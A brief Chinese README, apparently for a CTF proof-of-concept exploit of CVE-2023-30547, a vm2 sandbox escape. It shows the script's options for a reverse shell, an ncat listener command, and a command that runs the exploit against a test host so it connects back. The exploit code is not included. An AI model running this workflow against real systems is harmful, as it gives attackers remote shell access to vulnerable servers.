这是针对CVE-2023-30547(https://nvd.nist.gov/vuln/detail/CVE-2023-30547)的概念验证(PoC)。我在一次CTF比赛中创建了这个PoC。
CVE-2023-30547 PoC [-h] [--url URL] [--lhost LHOST] [--lport LPORT]
针对vm2漏洞CVE-2023-30547的PoC
选项:
-h, --help 显示此帮助信息并退出
--url URL 目标URL
--lhost LHOST 本地主机的IP用于反弹shell
--lport LPORT 本地主机的端口用于反弹shell
$ ncat -lnvp 1337
$ python3 exploit.py --url "http://vulnhost.local/run" --lhost 127.0.0.1 --lport 1337